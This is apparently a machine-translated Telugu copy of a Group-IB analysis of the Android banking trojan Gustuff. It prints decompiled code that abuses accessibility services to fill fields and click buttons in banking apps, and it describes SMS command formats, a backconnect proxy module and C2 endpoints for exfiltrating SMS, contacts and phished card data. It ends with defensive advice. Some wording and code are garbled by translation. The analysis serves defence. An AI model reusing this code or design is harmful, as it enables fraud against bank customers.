- ఆదేశం అమలు చేయబడిన సమయంలో వినియోగదారుకు కనిపిస్తుంది. అప్లికేషన్ ఐడి ద్వారా విండోలను ఎంచుకుంటుంది.
వస్తువులను స్వీకరించడం యాక్సెసిబిలిటీNodeInfo ఆసక్తి ఉన్న విండో మూలకాల కోసం, అప్లికేషన్, పారామితులపై ఆధారపడి, క్రింది చర్యలను చేయగలదు:
- దృష్టి - వస్తువుపై దృష్టి పెట్టండి.
- క్లిక్ చేయండి - ఒక వస్తువుపై క్లిక్ చేయండి.
- actionId — ID ద్వారా ఒక చర్యను జరుపుము.
- setText — వస్తువు యొక్క వచనాన్ని మార్చండి. వచనాన్ని మార్చడం రెండు విధాలుగా సాధ్యమవుతుంది: ఒక చర్యను నిర్వహించండి ACTION_SET_TEXT (సోకిన పరికరం యొక్క Android సంస్కరణ కంటే తక్కువ వయస్సు లేదా సమానంగా ఉంటే లాలిపాప్), లేదా క్లిప్బోర్డ్పై స్ట్రింగ్ను ఉంచడం ద్వారా మరియు దానిని ఒక వస్తువులో అతికించడం ద్వారా (పాత సంస్కరణల కోసం). బ్యాంకింగ్ అప్లికేషన్లో డేటాను మార్చడానికి ఈ ఆదేశం ఉపయోగించవచ్చు.
2. PARAMS_ACTIONS - అదే విధంగా PARAMS_ACTION, JSON కమాండ్ల శ్రేణి మాత్రమే వస్తుంది.
మరొక అప్లికేషన్ యొక్క విండో ఎలిమెంట్స్తో ఇంటరాక్ట్ చేసే ఫంక్షన్ ఎలా ఉంటుందో చాలా మంది వ్యక్తులు ఆసక్తి చూపుతారని తెలుస్తోంది. ఈ ఫంక్షనాలిటీ గస్టఫ్లో ఈ విధంగా అమలు చేయబడుతుంది:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
టెక్స్ట్ రీప్లేస్మెంట్ ఫంక్షన్:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
అందువల్ల, నియంత్రణ సర్వర్ యొక్క సరైన కాన్ఫిగరేషన్తో, గస్టఫ్ బ్యాంకింగ్ అప్లికేషన్లోని టెక్స్ట్ ఫీల్డ్లను పూరించగలదు మరియు లావాదేవీని పూర్తి చేయడానికి అవసరమైన బటన్లపై క్లిక్ చేయగలదు. ట్రోజన్ అనువర్తనానికి లాగిన్ చేయవలసిన అవసరం లేదు-పుష్ నోటిఫికేషన్ను ప్రదర్శించడానికి ఆదేశాన్ని పంపి, ఆపై గతంలో ఇన్స్టాల్ చేసిన బ్యాంకింగ్ అప్లికేషన్ను తెరవడానికి సరిపోతుంది. వినియోగదారు తనను తాను ప్రమాణీకరించుకుంటాడు, దాని తర్వాత గస్టఫ్ కారును పూరించగలదు.
SMS సందేశ ప్రాసెసింగ్ మాడ్యూల్
SMS సందేశాలను ఆమోదించడానికి సోకిన పరికరం కోసం అప్లికేషన్ ఈవెంట్ హ్యాండ్లర్ను ఇన్స్టాల్ చేస్తుంది. అధ్యయనంలో ఉన్న అప్లికేషన్ ఆపరేటర్ నుండి ఆదేశాలను స్వీకరించగలదు, ఇది SMS సందేశం యొక్క బాడీలో వస్తుంది. ఆదేశాలు ఫార్మాట్లో వస్తాయి:
7!5=<%Base64 ఎన్కోడ్ చేసిన కమాండ్%>
అప్లికేషన్ అన్ని ఇన్కమింగ్ SMS సందేశాలలో స్ట్రింగ్ కోసం శోధిస్తుంది 7!5=, స్ట్రింగ్ కనుగొనబడినప్పుడు, అది ఆఫ్సెట్ 64 వద్ద Base4 నుండి స్ట్రింగ్ను డీకోడ్ చేస్తుంది మరియు ఆదేశాన్ని అమలు చేస్తుంది. కమాండ్లు CnCతో సమానంగా ఉంటాయి. అమలు ఫలితం కమాండ్ వచ్చిన అదే నంబర్కు పంపబడుతుంది. ప్రతిస్పందన ఆకృతి:
7*5=<%Base64 “result_code కమాండ్”%> ఎన్కోడ్
ఐచ్ఛికంగా, అప్లికేషన్ అందుకున్న అన్ని సందేశాలను రూట్ నంబర్కు పంపవచ్చు. దీన్ని చేయడానికి, రూట్ నంబర్ తప్పనిసరిగా ప్రాధాన్యత ఫైల్లో పేర్కొనబడాలి మరియు సందేశ దారి మళ్లింపు ఫ్లాగ్ను తప్పనిసరిగా సెట్ చేయాలి. ఆకృతిలో దాడి చేసే వ్యక్తి నంబర్కు SMS సందేశం పంపబడుతుంది:
<%సంఖ్య నుండి%> - <%సమయం, ఫార్మాట్: dd/MM/yyyy HH:mm:ss%> <%SMS శరీరం%>
అలాగే, ఐచ్ఛికంగా, అప్లికేషన్ CnCకి సందేశాలను పంపగలదు. SMS సందేశం JSON ఆకృతిలో సర్వర్కు పంపబడుతుంది:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
జెండా సెట్ అయితే నేమ్జెనరేటర్("DEFAULT_APP_SMS") - అప్లికేషన్ SMS సందేశాన్ని ప్రాసెస్ చేయడాన్ని ఆపివేస్తుంది మరియు ఇన్కమింగ్ సందేశాల జాబితాను క్లియర్ చేస్తుంది.
ప్రాక్సీ మాడ్యూల్
అధ్యయనంలో ఉన్న అప్లికేషన్ బ్యాక్కనెక్ట్ ప్రాక్సీ మాడ్యూల్ను కలిగి ఉంది (ఇకపై ప్రాక్సీ మాడ్యూల్గా సూచిస్తారు), ఇది కాన్ఫిగరేషన్తో స్టాటిక్ ఫీల్డ్లను కలిగి ఉన్న ప్రత్యేక తరగతిని కలిగి ఉంటుంది. కాన్ఫిగరేషన్ డేటా నమూనాలో స్పష్టమైన రూపంలో నిల్వ చేయబడుతుంది:
ప్రాక్సీ మాడ్యూల్ ద్వారా నిర్వహించబడే అన్ని చర్యలు ఫైల్లలోకి లాగిన్ చేయబడ్డాయి. దీన్ని చేయడానికి, బాహ్య నిల్వలోని అప్లికేషన్ "లాగ్స్" (కాన్ఫిగరేషన్ క్లాస్లోని ProxyConfigClass.logsDir ఫీల్డ్) అనే డైరెక్టరీని సృష్టిస్తుంది, దీనిలో లాగ్ ఫైల్లు నిల్వ చేయబడతాయి. పేర్లతో ఫైల్లలో లాగింగ్ జరుగుతుంది:
- main.txt – CommandServer అని పిలువబడే తరగతి యొక్క పని ఈ ఫైల్లోకి లాగిన్ చేయబడింది. కింది వాటిలో, స్ట్రింగ్ స్ట్రింగ్ని ఈ ఫైల్లోకి లాగిన్ చేయడం మెయిన్లాగ్(str)గా సూచించబడుతుంది.
- సెషన్-<%id%>.txt — ఈ ఫైల్ నిర్దిష్ట ప్రాక్సీ సెషన్తో అనుబంధించబడిన లాగ్ డేటాను సేవ్ చేస్తుంది. కింది వాటిలో, స్ట్రింగ్ స్ట్రింగ్ని ఈ ఫైల్కి లాగిన్ చేయడం సెషన్లాగ్ (str)గా సూచించబడుతుంది.
- server.txt - పైన వివరించిన ఫైల్లకు వ్రాసిన మొత్తం డేటాను లాగ్ చేయడానికి ఈ ఫైల్ ఉపయోగించబడుతుంది.
లాగ్ డేటా ఫార్మాట్:
<%Date%> [థ్రెడ్[<%thread id%>], id[]]: లాగ్-స్ట్రింగ్
ప్రాక్సీ మాడ్యూల్ యొక్క ఆపరేషన్ సమయంలో సంభవించే మినహాయింపులు కూడా ఫైల్కి లాగ్ చేయబడతాయి. దీన్ని చేయడానికి, అప్లికేషన్ కింది ఫార్మాట్లో JSON ఆబ్జెక్ట్ను ఉత్పత్తి చేస్తుంది:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
తర్వాత దానిని స్ట్రింగ్ రిప్రజెంటేషన్గా మారుస్తుంది మరియు దానిని లాగ్ చేస్తుంది.
సంబంధిత ఆదేశాన్ని స్వీకరించిన తర్వాత ప్రాక్సీ మాడ్యూల్ ప్రారంభించబడుతుంది. ప్రాక్సీ మాడ్యూల్ను ప్రారంభించాలనే కమాండ్ స్వీకరించినప్పుడు, అప్లికేషన్ అనే సేవను ప్రారంభిస్తుంది ప్రధాన సేవ, ఇది ప్రాక్సీ మాడ్యూల్ యొక్క ఆపరేషన్ నిర్వహణకు బాధ్యత వహిస్తుంది - దానిని ప్రారంభించడం మరియు ఆపడం.
సేవను ప్రారంభించే దశలు:
1. నిమిషానికి ఒకసారి నడిచే టైమర్ను ప్రారంభిస్తుంది మరియు ప్రాక్సీ మాడ్యూల్ యొక్క కార్యాచరణను తనిఖీ చేస్తుంది. మాడ్యూల్ సక్రియంగా లేకుంటే, అది ప్రారంభమవుతుంది.
ఈవెంట్ ట్రిగ్గర్ అయినప్పుడు కూడా android.net.conn.CONNECTIVITY_CHANGE ప్రాక్సీ మాడ్యూల్ ప్రారంభించబడింది.
2. అప్లికేషన్ పారామీటర్తో వేక్-లాక్ను సృష్టిస్తుంది PARTIAL_WAKE_LOCK మరియు అతనిని పట్టుకుంటాడు. ఇది పరికరం CPU నిద్ర మోడ్లోకి వెళ్లకుండా నిరోధిస్తుంది.
3. ప్రాక్సీ మాడ్యూల్ యొక్క కమాండ్ ప్రాసెసింగ్ క్లాస్ను ప్రారంభిస్తుంది, ముందుగా లైన్ను లాగిన్ చేస్తుంది మెయిన్లాగ్ ("స్టార్ట్ సర్వర్") и
సర్వర్::start() హోస్ట్[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
పేరు proxy_cnc, command_port మరియు proxy_port - ప్రాక్సీ సర్వర్ కాన్ఫిగరేషన్ నుండి పొందిన పారామితులు.
కమాండ్ ప్రాసెసింగ్ క్లాస్ అంటారు కమాండ్ కనెక్షన్. ప్రారంభించిన వెంటనే, ఈ క్రింది చర్యలను నిర్వహిస్తుంది:
4. కనెక్ట్ అవుతుంది ProxyConfigClass.host: ProxyConfigClass.commandPort మరియు సోకిన పరికరం గురించిన డేటాను JSON ఫార్మాట్లో పంపుతుంది:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
పేరు:
- id - ఐడెంటిఫైయర్, "x" పేరు గల షేర్డ్ ప్రిఫరెన్స్ ఫైల్ నుండి "id" ఫీల్డ్తో విలువను పొందడానికి ప్రయత్నిస్తుంది. ఈ విలువను పొందలేకపోతే, అది కొత్తదాన్ని ఉత్పత్తి చేస్తుంది. అందువలన, ప్రాక్సీ మాడ్యూల్ దాని స్వంత ఐడెంటిఫైయర్ను కలిగి ఉంది, ఇది Bot ID వలె ఉత్పత్తి చేయబడుతుంది.
- imei - పరికరం యొక్క IMEI. విలువను పొందే ప్రక్రియలో లోపం సంభవించినట్లయితే, ఈ ఫీల్డ్కు బదులుగా లోపం వచన సందేశం వ్రాయబడుతుంది.
- imsi - పరికరం యొక్క అంతర్జాతీయ మొబైల్ చందాదారుల గుర్తింపు. విలువను పొందే ప్రక్రియలో లోపం సంభవించినట్లయితే, ఈ ఫీల్డ్కు బదులుగా లోపం వచన సందేశం వ్రాయబడుతుంది.
- మోడల్ — తుది ఉత్పత్తికి తుది వినియోగదారు కనిపించే పేరు.
- తయారీదారు — ఉత్పత్తి/హార్డ్వేర్ తయారీదారు (Build.MANUFACTURER).
- androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" ఫార్మాట్లోని స్ట్రింగ్
- దేశం — పరికరం యొక్క ప్రస్తుత స్థానం.
- partnerId అనేది ఖాళీ స్ట్రింగ్.
- ప్యాకేజీ పేరు - ప్యాకేజీ పేరు.
- నెట్వర్క్ రకం — ప్రస్తుత నెట్వర్క్ కనెక్షన్ రకం (ఉదాహరణ: “WIFI”, “MOBILE”). లోపం ఉన్నట్లయితే, శూన్యతను అందిస్తుంది.
- hasGsmSupport – true – ఫోన్ GSMకి మద్దతిస్తే, లేకపోతే తప్పు.
- simReady - SIM కార్డ్ స్థితి.
- simCountry - ISO కంట్రీ కోడ్ (SIM కార్డ్ ప్రొవైడర్ ఆధారంగా).
- నెట్వర్క్ ఆపరేటర్ — ఆపరేటర్ పేరు. విలువను పొందే ప్రక్రియలో లోపం సంభవించినట్లయితే, ఈ ఫీల్డ్కు బదులుగా లోపం వచన సందేశం వ్రాయబడుతుంది.
- simOperator — సర్వీస్ ప్రొవైడర్ పేరు (SPN). విలువను పొందే ప్రక్రియలో లోపం సంభవించినట్లయితే, ఈ ఫీల్డ్కు బదులుగా లోపం వచన సందేశం వ్రాయబడుతుంది.
- సంస్కరణ - ఈ ఫీల్డ్ కాన్ఫిగర్ క్లాస్లో నిల్వ చేయబడుతుంది; బోట్ యొక్క పరీక్షించిన సంస్కరణలకు ఇది “1.6”కి సమానం.
5. సర్వర్ నుండి ఆదేశాల కోసం వేచి ఉండే మోడ్కు మారుతుంది. సర్వర్ నుండి ఆదేశాలు ఫార్మాట్లో వస్తాయి:
- 0 ఆఫ్సెట్ - కమాండ్
- 1 ఆఫ్సెట్ - సెషన్ఐడి
- 2 ఆఫ్సెట్ - పొడవు
- 4 ఆఫ్సెట్ - డేటా
కమాండ్ వచ్చినప్పుడు, అప్లికేషన్ లాగ్ అవుతుంది:
mainLog("హెడర్ { sessionId<%id%>], రకం[<%command%>], పొడవు[<%length%>] }")
సర్వర్ నుండి కింది ఆదేశాలు సాధ్యమే:
పేరు | కమాండ్ | సమాచారం | <span style="font-family: Mandali; "> టెండర్ వివరణ</span> |
---|---|---|---|
కనెక్షన్ ఐడి | 0 | కనెక్షన్ ID | కొత్త కనెక్షన్ని సృష్టించండి |
SLEEP | 3 | సమయం | ప్రాక్సీ మాడ్యూల్ను పాజ్ చేయండి |
పింగ్ పాంగ్ | 4 | - | PONG సందేశాన్ని పంపండి |
PONG సందేశం 4 బైట్లను కలిగి ఉంటుంది మరియు ఇలా కనిపిస్తుంది: 0x04000000.
connectionId కమాండ్ స్వీకరించబడినప్పుడు (కొత్త కనెక్షన్ని సృష్టించడానికి) కమాండ్ కనెక్షన్ తరగతి యొక్క ఉదాహరణను సృష్టిస్తుంది ప్రాక్సీకనెక్షన్.
- ప్రాక్సీయింగ్లో రెండు తరగతులు పాల్గొంటాయి: ప్రాక్సీకనెక్షన్ и ముగింపు. తరగతిని సృష్టించేటప్పుడు ప్రాక్సీకనెక్షన్ చిరునామాకు కనెక్ట్ చేస్తోంది ProxyConfigClass.host: ProxyConfigClass.proxyPort మరియు JSON ఆబ్జెక్ట్ను పాస్ చేయడం:
{
"id":<%connectionId%>
}
ప్రతిస్పందనగా, సర్వర్ SOCKS5 సందేశాన్ని పంపుతుంది, అది రిమోట్ సర్వర్ చిరునామాను కలిగి ఉంటుంది, దానితో కనెక్షన్ ఏర్పాటు చేయాలి. ఈ సర్వర్తో పరస్పర చర్య తరగతి ద్వారా జరుగుతుంది ముగింపు. కనెక్షన్ సెటప్ క్రింది విధంగా క్రమపద్ధతిలో సూచించబడుతుంది:
నెట్వర్క్ పరస్పర చర్యలు
నెట్వర్క్ స్నిఫర్ల ద్వారా ట్రాఫిక్ విశ్లేషణను నిరోధించడానికి, CnC సర్వర్ మరియు అప్లికేషన్ మధ్య పరస్పర చర్య SSL ప్రోటోకాల్ని ఉపయోగించి రక్షించబడుతుంది. సర్వర్ నుండి మరియు సర్వర్కు బదిలీ చేయబడిన మొత్తం డేటా JSON ఆకృతిలో ప్రదర్శించబడుతుంది. అప్లికేషన్ ఆపరేషన్ సమయంలో క్రింది అభ్యర్థనలను అమలు చేస్తుంది:
- http://<%CnC%>/api/v1/set_state.php - కమాండ్ అమలు ఫలితం.
- http://<%CnC%>/api/v1/get.php - ఆదేశాన్ని స్వీకరించడం.
- http://<%CnC%>/api/v1/load_sms.php - సోకిన పరికరం నుండి SMS సందేశాలను డౌన్లోడ్ చేయడం.
- http://<%CnC%>/api/v1/load_ab.php - సోకిన పరికరం నుండి పరిచయాల జాబితాను అప్లోడ్ చేస్తోంది.
- http://<%CnC%>/api/v1/aevents.php - ప్రాధాన్యత ఫైల్లో ఉన్న పారామితులను నవీకరించేటప్పుడు అభ్యర్థన చేయబడుతుంది.
- http://<%CnC%>/api/v1/set_card.php — Google Play Market వలె మాస్క్వెరేడింగ్ చేయబడిన ఫిషింగ్ విండోను ఉపయోగించి పొందిన డేటాను అప్లోడ్ చేయడం.
- http://<%CnC%>/api/v1/logs.php - లాగ్ డేటాను అప్లోడ్ చేస్తోంది.
- http://<%CnC%>/api/v1/records.php - ఫిషింగ్ విండోస్ ద్వారా పొందిన డేటాను అప్లోడ్ చేయడం.
- http://<%CnC%>/api/v1/set_error.php - సంభవించిన లోపం యొక్క నోటిఫికేషన్.
సిఫార్సులు
మొబైల్ ట్రోజన్ల ముప్పు నుండి తమ కస్టమర్లను రక్షించుకోవడానికి, కంపెనీలు వినియోగదారు పరికరాల్లో అదనపు సాఫ్ట్వేర్ను ఇన్స్టాల్ చేయకుండా హానికరమైన కార్యాచరణను పర్యవేక్షించడానికి మరియు నిరోధించడానికి అనుమతించే సమగ్ర పరిష్కారాలను తప్పనిసరిగా ఉపయోగించాలి.
దీన్ని చేయడానికి, మొబైల్ ట్రోజన్లను గుర్తించడానికి సంతకం పద్ధతులను క్లయింట్ మరియు అప్లికేషన్ రెండింటి ప్రవర్తనను విశ్లేషించడానికి సాంకేతికతలతో బలోపేతం చేయాలి. రక్షణలో డిజిటల్ ఫింగర్ప్రింట్ టెక్నాలజీని ఉపయోగించి పరికర గుర్తింపు ఫంక్షన్ను కూడా చేర్చాలి, ఇది ఒక వైవిధ్య పరికరం నుండి ఖాతా ఎప్పుడు ఉపయోగించబడుతుందో మరియు ఇప్పటికే మోసగాడి చేతిలోకి వెళ్లినప్పుడు అర్థం చేసుకోవడం సాధ్యపడుతుంది.
ప్రాథమికంగా ముఖ్యమైన అంశం ఏమిటంటే, క్రాస్-ఛానల్ విశ్లేషణ యొక్క లభ్యత, ఇది ఇంటర్నెట్లో మాత్రమే కాకుండా మొబైల్ ఛానెల్లో కూడా ఉత్పన్నమయ్యే నష్టాలను నియంత్రించడానికి కంపెనీలను అనుమతిస్తుంది, ఉదాహరణకు, మొబైల్ బ్యాంకింగ్ కోసం అప్లికేషన్లలో, క్రిప్టోకరెన్సీలతో లావాదేవీలు మరియు మరేదైనా. లావాదేవీలు నిర్వహించవచ్చు ఆర్థిక లావాదేవీ.
వినియోగదారుల కోసం భద్రతా నియమాలు:
- Google Play కాకుండా ఇతర మూలాల నుండి Android OSతో మొబైల్ పరికరం కోసం అప్లికేషన్లను ఇన్స్టాల్ చేయవద్దు, అప్లికేషన్ అభ్యర్థించిన హక్కులపై ప్రత్యేక శ్రద్ధ వహించండి;
- క్రమం తప్పకుండా Android OS నవీకరణలను ఇన్స్టాల్ చేయండి;
- డౌన్లోడ్ చేసిన ఫైల్ల పొడిగింపులపై శ్రద్ధ వహించండి;
- అనుమానాస్పద వనరులను సందర్శించవద్దు;
- SMS సందేశాలలో వచ్చిన లింక్లపై క్లిక్ చేయవద్దు.
నటించారు సెమియోన్ రోగచెవా, గ్రూప్-IB కంప్యూటర్ ఫోరెన్సిక్స్ లాబొరేటరీలో మాల్వేర్ పరిశోధనలో జూనియర్ స్పెషలిస్ట్.
మూలం: www.habr.com